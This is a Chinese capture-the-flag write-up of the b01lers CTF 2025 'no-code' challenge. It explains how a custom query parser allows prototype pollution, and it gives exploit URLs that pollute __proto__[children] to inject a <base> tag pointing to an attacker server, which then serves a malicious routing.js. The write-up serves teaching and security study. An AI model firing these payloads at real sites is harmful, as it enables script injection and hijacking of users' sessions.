js原型污染 + xss劫持base -- no-code b01lersctf 2025

题目信息:Found this new web framework the other day---you don't need to write any code, just JSON.
我们先来搞清楚究竟发生了什么
当我们访问 /index

js 复制代码
/**
 * 处理 /:page 路径的 GET 请求
 * @param {Object} req - 请求对象
 * @param {Object} reply - 响应对象
 * @returns {Promise<string>} - 替换后的 HTML 页面内容
 */
fastify.get("/:page", async (req, reply) => {
	// 获取请求的页面名称,默认为 index
	const page = req.params.page || "index";
	// 检查页面名称是否合法
	if (!/^\w+$/.test(page)) {
		// 页面名称不合法,返回 400 状态码和错误信息
		reply.code(400);
		return { err: "invalid page" };
	}

	// 设置 Content-Security-Policy 响应头
	reply.header(
		"content-security-policy",
		`require-trusted-types-for 'script'; trusted-types 'none'`
	);
	// 设置响应内容类型为 text/html
	reply.type("text/html");
	// 异步获取页面数据并转换为 JSON 字符串,同时转义 < 字符
	const initial = JSON.stringify(await getPage(page, req.query)).replace(/</g, "\\x3c");
	// 读取 index.html 文件并替换其中的 {{initial}} 占位符
	return (await fs.readFile("index.html")).toString().replace(/\{\{initial\}\}/g, initial);
});

首先,对应路由的模板将被在getPage转换为对象

js 复制代码
/**
 * 异步获取页面数据并替换模板占位符
 * @param {string} page - 页面名称
 * @param {Object} props - 用于替换占位符的键值对对象
 * @returns {Promise<Object>} - 处理后的页面数据
 */
async function getPage(page, props) {
	// 异步读取页面的 JSON 文件并解析为对象
	const pageDocument = JSON.parse((await fs.readFile(`./pages/${page}.json`)).toString());
	// 替换页面数据中的所有模板占位符
	return replaceAllProps(pageDocument, props);
}

我们输入的参数会被自定义函数处理

js 复制代码
/**
 * 解析扩展的查询字符串,支持嵌套参数
 * @param {string} query - 需要解析的查询字符串
 * @returns {Object} - 解析后的查询参数对象
 */
function parseQuery(query) {
	// 移除查询字符串开头的问号
	query = query.replace(/^\?/, "");
	// 将查询字符串按 & 分割成参数数组
	const params = query.split("&");
	const result = {};
	// 遍历参数数组
	for (const param of params) {
		// 将每个参数按 = 分割成键值对,并对其进行 URI 解码
		const [key, value] = param.split("=").map(decodeURIComponent);
		// 如果键包含 [,说明是嵌套参数
		if (key.includes("[")) {
			// 将键按 [ 分割成多个部分,并移除每个部分末尾的 ]
			const parts = key.split("[").map((part) => part.replace(/]$/, ""));
			let curr = result;
			// 遍历除最后一个部分外的所有部分
			for (let part of parts.slice(0, -1)) {
				// 如果当前对象中不存在该部分对应的属性,则创建一个空对象
				if (curr[part] === undefined) {
					curr[part] = {};
				}
				// 将当前对象指向该属性
				curr = curr[part];
			}
			// 将值赋给最后一个部分对应的属性
			curr[parts[parts.length - 1]] = value;
		} else {
			// 普通参数,直接赋值
			result[key] = value;
		}
	}
	return result;
}

此处存在原型污染漏洞

复制代码
输入:?filter[date][from]=2023-01-01&filter[date][to]=2023-12-31
输出:{
  filter: {
    date: {
      from: "2023-01-01",
      to: "2023-12-31"
    }
  }
}

解析后的参数对象一同与模板对象进入replaceAllProps,replaceAllProps遍历每个属性的v放入replaceProps来替换模板

js 复制代码
/**
 * 递归替换对象中的所有模板占位符
 * @param {Object|any} obj - 需要处理的对象或值
 * @param {Object} props - 用于替换占位符的键值对对象
 * @returns {Object|any} - 处理后的对象或值
 */
function replaceAllProps(obj, props) {
	// 如果 obj 不是对象,则直接返回
	if (typeof obj !== "object") {
		return obj;
	}
	// 如果 obj 有 attributes 属性,则替换其中的占位符
	if (obj.attributes !== undefined) {
		obj.attributes = Object.fromEntries(
			Array.from(Object.entries(obj.attributes)).map(([key, value]) => [
				key,
				replaceProps(value, props),
			])
		);
	}
	// 如果 obj 有 text 属性,则替换其中的占位符
	if (obj.text !== undefined) {
		obj.text = replaceProps(obj.text, props);
	}
	// 如果 obj 有 children 属性,则递归处理每个子对象
	if (obj.children !== undefined) {
		obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));
	}
	return obj;
}

在此函数中进行替换

js 复制代码
/**
 * 替换字符串中的模板占位符
 * @param {string} s - 包含模板占位符的字符串
 * @param {Object} props - 用于替换占位符的键值对对象
 * @returns {string} - 替换后的字符串
 */
function replaceProps(s, props) {
	// 遍历键值对对象
	for (const [key, value] of Object.entries(props)) {
		// 使用正则表达式替换所有匹配的占位符
		s = s.replace(new RegExp(`{{${escapeRegex(key)}}}`, "g"), value);
	}
	// 移除所有未替换的占位符
	s = s.replace(/{{\w+}}/g, "");
	return s;
}
js 复制代码
// 输入模板
const template = "欢迎{{user}},今天是{{day}},剩余{{credit}}积分";

// 替换参数
const params = { 
    user: "张三", 
    day: "星期一",
    // 注意:credit 参数未提供
};

// 执行替换
replaceProps(template, params); 
// 输出:"欢迎张三,今天是星期一,剩余积分"

当处理完成后,所有的<都会被转义,并被插入index.html的{{initial}}

js 复制代码
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8" />
		<meta http-equiv="X-UA-Compatible" content="IE=edge" />
		<title>Writeups</title>
		<meta name="viewport" content="width=device-width, initial-scale=1" />
	</head>
	<body>
		<div id="content"></div>
		<script>
			const initial = {{initial}};
		</script>
		<script src="/scripts/utils.js"></script>
		<script src="/scripts/load.js"></script>
		<script src="/scripts/routing.js"></script>
	</body>
</html>

然后在前端转换为html

js 复制代码
/**
 * 将JSON对象转换为DOM元素。
 * @param {Object|string} json - 表示DOM结构的JSON对象,或者是一个字符串。
 * @returns {Node} - 转换后的DOM节点。
 */
function jsonToDom(json) {
	// 如果传入的json是字符串,则创建一个文本节点
	if (typeof json === "string") {
		return document.createTextNode(json);
	}

	// 解构json对象,获取标签名、文本内容、属性和子节点
	const { tag, text, attributes, children } = json;
	// 创建指定标签名的DOM元素
	const element = document.createElement(tag);
	// 如果存在文本内容,则设置元素的文本内容
	if (text !== undefined) {
		element.textContent = text;
	}

	// 如果存在属性,则遍历属性对象并设置元素的属性
	if (attributes !== undefined) {
		for (const [key, value] of Object.entries(attributes)) {
			element.setAttribute(key, value);
		}
	}

	// 如果存在子节点,则递归调用jsonToDom函数并将结果添加到元素中
	if (children !== undefined) {
		for (const childJson of children) {
			element.append(jsonToDom(childJson));
		}
	}

	return element;
}
复制代码
// JSON输入示例
const template = {
  tag: "div",
  attributes: { class: "card" },
  children: [
    {
      tag: "h2",
      text: "用户信息",
      attributes: { id: "user-title" }
    },
    {
      tag: "p",
      children: [
        "姓名:",
        {
          tag: "span",
          text: "张三",
          attributes: { class: "username" }
        }
      ]
    }
  ]
};

// 转换为DOM元素
const cardElement = jsonToDom(template);

// 最终生成的DOM结构:
/*
<div class="card">
  <h2 id="user-title">用户信息</h2>
  <p>
    姓名:
    <span class="username">张三</span>
  </p>
</div>
*/

我该如何利用原型污染,进行xss?
似乎并模板中并没有.text,

复制代码
http://127.0.0.1:8000/?__proto__[text]=A5rZ

似乎所有没有text,的children都拥有了text

html 复制代码
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8"/>
        <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
        <title>Writeups</title>
        <meta name="viewport" content="width=device-width, initial-scale=1"/>
    </head>
    <body>
        <div id="content"></div>
        <script>
            const initial = {
                "tag": "div",
                "attributes": {},
                "children": [{
                    "tag": "link",
                    "attributes": {
                        "rel": "stylesheet",
                        "href": "/static/styles.css"
                    },
                    "text": "A5rZ"
                }, {
                    "tag": "header",
                    "attributes": {
                        "class": "home-header",
                        "id": "home"
                    },
                    "children": [{
                        "tag": "div",
                        "attributes": {
                            "class": "container"
                        },
                        "children": [{
                            "tag": "h1",
                            "attributes": {},
                            "text": "John Smith"
                        }, {
                            "tag": "p",
                            "attributes": {},
                            "text": "Web Developer | Software Engineer | Problem Solver"
                        }, {
                            "tag": "p",
                            "attributes": {},
                            "text": "Specializing in building high-quality web applications and solutions."
                        }, {
                            "tag": "a",
                            "attributes": {
                                "href": "about",
                                "class": "btn"
                            },
                            "text": "Learn More About Me"
                        }, " ", {
                            "tag": "a",
                            "attributes": {
                                "href": "projects",
                                "class": "btn"
                            },
                            "text": "View My Projects"
                        }],
                        "text": "A5rZ"
                    }],
                    "text": "A5rZ"
                }, {
                    "tag": "footer",
                    "attributes": {},
                    "children": [{
                        "tag": "div",
                        "attributes": {
                            "class": "container"
                        },
                        "children": [{
                            "tag": "p",
                            "attributes": {},
                            "text": "© 2025 John Smith. All rights reserved."
                        }, {
                            "tag": "a",
                            "attributes": {
                                "href": "index"
                            },
                            "text": "Home"
                        }, " | ", {
                            "tag": "a",
                            "attributes": {
                                "href": "about"
                            },
                            "text": "About"
                        }, " | ", {
                            "tag": "a",
                            "attributes": {
                                "href": "projects"
                            },
                            "text": "Projects"
                        }, " | ", {
                            "tag": "a",
                            "attributes": {
                                "href": "contact"
                            },
                            "text": "Contact"
                        }],
                        "text": "A5rZ"
                    }],
                    "text": "A5rZ"
                }],
                "text": "A5rZ"
            };
        </script>
        <script src="/scripts/utils.js"></script>
        <script src="/scripts/load.js"></script>
        <script src="/scripts/routing.js"></script>
    </body>
</html>

这是否意味着我也为每个没有children的children获得原型的children

复制代码
http://127.0.0.1:8000/?__proto__[children]=A5rZ
html 复制代码
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8"/>
        <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
        <title>Writeups</title>
        <meta name="viewport" content="width=device-width, initial-scale=1"/>
    </head>
    <body>
        <div id="content"></div>
        <script>
            const initial = {
                "tag": "div",
                "attributes": {},
                "children": [{
                    "tag": "link",
                    "attributes": {
                        "rel": "stylesheet",
                        "href": "/static/styles.css"
                    },
                    "text": "A5rZ",
                    "children": ["A", "5", "r", "Z"]
                }, {
                    "tag": "header",
                    "attributes": {
                        "class": "home-header",
                        "id": "home"
                    },
                    "children": [{
                        "tag": "div",
                        "attributes": {
                            "class": "container"
                        },
                        "children": [{
                            "tag": "h1",
                            "attributes": {},
                            "text": "John Smith",
                            "children": ["A", "5", "r", "Z"]
                        }, {
                            "tag": "p",
                            "attributes": {},
                            "text": "Web Developer | Software Engineer | Problem Solver",
                            "children": ["A", "5", "r", "Z"]
                        }, {
                            "tag": "p",
                            "attributes": {},
                            "text": "Specializing in building high-quality web applications and solutions.",
                            "children": ["A", "5", "r", "Z"]
                        }, {
                            "tag": "a",
                            "attributes": {
                                "href": "about",
                                "class": "btn"
                            },
                            "text": "Learn More About Me",
                            "children": ["A", "5", "r", "Z"]
                        }, " ", {
                            "tag": "a",
                            "attributes": {
                                "href": "projects",
                                "class": "btn"
                            },
                            "text": "View My Projects",
                            "children": ["A", "5", "r", "Z"]
                        }],
                        "text": "A5rZ"
                    }],
                    "text": "A5rZ"
                }, {
                    "tag": "footer",
                    "attributes": {},
                    "children": [{
                        "tag": "div",
                        "attributes": {
                            "class": "container"
                        },
                        "children": [{
                            "tag": "p",
                            "attributes": {},
                            "text": "© 2025 John Smith. All rights reserved.",
                            "children": ["A", "5", "r", "Z"]
                        }, {
                            "tag": "a",
                            "attributes": {
                                "href": "index"
                            },
                            "text": "Home",
                            "children": ["A", "5", "r", "Z"]
                        }, " | ", {
                            "tag": "a",
                            "attributes": {
                                "href": "about"
                            },
                            "text": "About",
                            "children": ["A", "5", "r", "Z"]
                        }, " | ", {
                            "tag": "a",
                            "attributes": {
                                "href": "projects"
                            },
                            "text": "Projects",
                            "children": ["A", "5", "r", "Z"]
                        }, " | ", {
                            "tag": "a",
                            "attributes": {
                                "href": "contact"
                            },
                            "text": "Contact",
                            "children": ["A", "5", "r", "Z"]
                        }],
                        "text": "A5rZ"
                    }],
                    "text": "A5rZ"
                }],
                "text": "A5rZ"
            };
        </script>
        <script src="/scripts/utils.js"></script>
        <script src="/scripts/load.js"></script>
        <script src="/scripts/routing.js"></script>
    </body>
</html>

这似乎是可能的

复制代码
http://127.0.0.1:8000/?__proto__[children][tag]=h1&__proto__[children][attributes][style]=color: red&__proto__[children][text]=A5rZ

但是当我尝试更多的时候,这些属性就不会被合并
赛后 ------------------------------------------------------------------------------------------------------------
在 replaceAllProps 函数中,60行的 obj.children 赋值逻辑要求 children 必须是数组类型。即使成功注入原型污染,如果注入的不是数组结构,也会导致处理中断:

javascript:src/app/index.js 复制代码
// ... existing code ...
if (obj.children !== undefined) {
    obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));
}
// ... existing code ...

注意 array[]必须拥有 length,所以我们必须添加length加以伪装

复制代码
http://127.0.0.1:8000/?__proto__[children][0][tag]=test&__proto__[children][length]=1

HTML <base> 标签解析

<base> 是 HTML 的根路径定义标签,主要用于:

  1. 基准URL设置
    href 属性指定文档中所有相对URL的根路径:
html 复制代码
<base href="https://example.com/">
  1. 默认打开方式
    target 属性定义所有链接的默认打开方式(如 _blank 新窗口)

接下来,我们可以劫持base

复制代码
http://127.0.0.1:8000/?__proto__[children][0][tag]=base&&__proto__[children][0][attributes][href]=http://127.0.0.1&__proto__[children][length]=1

接下来在我们的本地服务器中 /scripts/routing.js 中放置恶意脚本,因为base被篡改,/routing.js将从我们的服务器中被加载并执行

html 复制代码
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8" />
		<meta http-equiv="X-UA-Compatible" content="IE=edge" />
		<title>Writeups</title>
		<meta name="viewport" content="width=device-width, initial-scale=1" />
	</head>
	<body>
		<div id="content"></div>
		<script>
			const initial = {{initial}};
		</script>
		<script src="/scripts/utils.js"></script>
		<script src="/scripts/load.js"></script>
		<script src="/scripts/routing.js"></script>
	</body>
</html>
相关推荐
枷锁—sha11 小时前
【SRC】SQL注入WAF 绕过应对策略(二)
网络·数据库·python·sql·安全·网络安全
天荒地老笑话么18 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
大方子2 天前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha2 天前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络2 天前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd2 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你2 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha3 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1193 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20253 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信